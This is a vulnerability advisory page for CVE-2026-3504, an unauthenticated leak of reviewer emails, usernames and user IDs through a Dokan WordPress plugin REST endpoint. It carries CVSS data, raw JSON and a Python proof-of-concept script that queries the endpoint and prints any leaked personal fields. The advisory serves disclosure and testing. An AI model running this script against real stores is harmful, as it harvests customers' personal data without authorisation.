Security Vulnerability Report
中文
CVE-2026-3504 CVSS 5.3 MEDIUM

CVE-2026-3504

Published: 2026-05-02 14:16:18
Last Modified: 2026-05-05 19:15:06

Description

The Dokan: AI Powered WooCommerce Multivendor Marketplace Solution plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 4.3.1 via the '/dokan/v1/stores/{id}/reviews' REST API endpoint. This is due to the 'prepare_reviews_for_response' method including reviewer email addresses, usernames, and user IDs in the API response. This makes it possible for unauthenticated attackers to extract email addresses, usernames, and user IDs of all customers who left reviews on any vendor's store. The Pro version of the plugin must be installed and activated, with store reviews enabled, in order to exploit the vulnerability.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Dokan <= 4.3.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # Target URL configuration # Replace 'example.com' with the actual target domain target_url = "http://example.com/wp-json/dokan/v1/stores/1/reviews" def check_poc(url): try: # Send GET request to the vulnerable endpoint # No authentication required based on PR:N headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" } response = requests.get(url, headers=headers, timeout=10) if response.status_code == 200: try: data = response.json() # Check if response contains data if data and len(data) > 0: # Inspect the first item for sensitive fields first_review = data[0] # Check for sensitive keys: email, username, user_id sensitive_keys = ['email', 'username', 'user_id'] found_leak = False print("[+] Response received. Analyzing data structure...") for key in sensitive_keys: if key in first_review: print(f"[!] Sensitive data found: '{key}' -> {first_review[key]}") found_leak = True if found_leak: print("[+] Vulnerability Confirmed: Sensitive Information Exposure detected.") print(f"[+] Full Data Sample: {json.dumps(first_review, indent=2)}") return True else: print("[-] Response empty, no reviews found for this store ID.") except json.JSONDecodeError: print("[-] Response is not valid JSON.") else: print(f"[-] HTTP Status Code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"Error connecting to target: {e}") return False if __name__ == "__main__": print(f"[*] Checking CVE-2026-3504 on: {target_url}") check_poc(target_url)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-3504", "sourceIdentifier": "[email protected]", "published": "2026-05-02T14:16:17.847", "lastModified": "2026-05-05T19:15:06.200", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Dokan: AI Powered WooCommerce Multivendor Marketplace Solution plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 4.3.1 via the '/dokan/v1/stores/{id}/reviews' REST API endpoint. This is due to the 'prepare_reviews_for_response' method including reviewer email addresses, usernames, and user IDs in the API response. This makes it possible for unauthenticated attackers to extract email addresses, usernames, and user IDs of all customers who left reviews on any vendor's store. The Pro version of the plugin must be installed and activated, with store reviews enabled, in order to exploit the vulnerability."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-200"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/dokan-lite/trunk/includes/REST/StoreController.php#L125", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/dokan-lite/trunk/includes/REST/StoreController.php#L835", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/dokan-lite/trunk/includes/REST/StoreController.php#L854", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3481799/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/02b0d7d7-8a10-48de-b1e1-7e1f1fda6ffe?source=cve", "source": "[email protected]"}]}}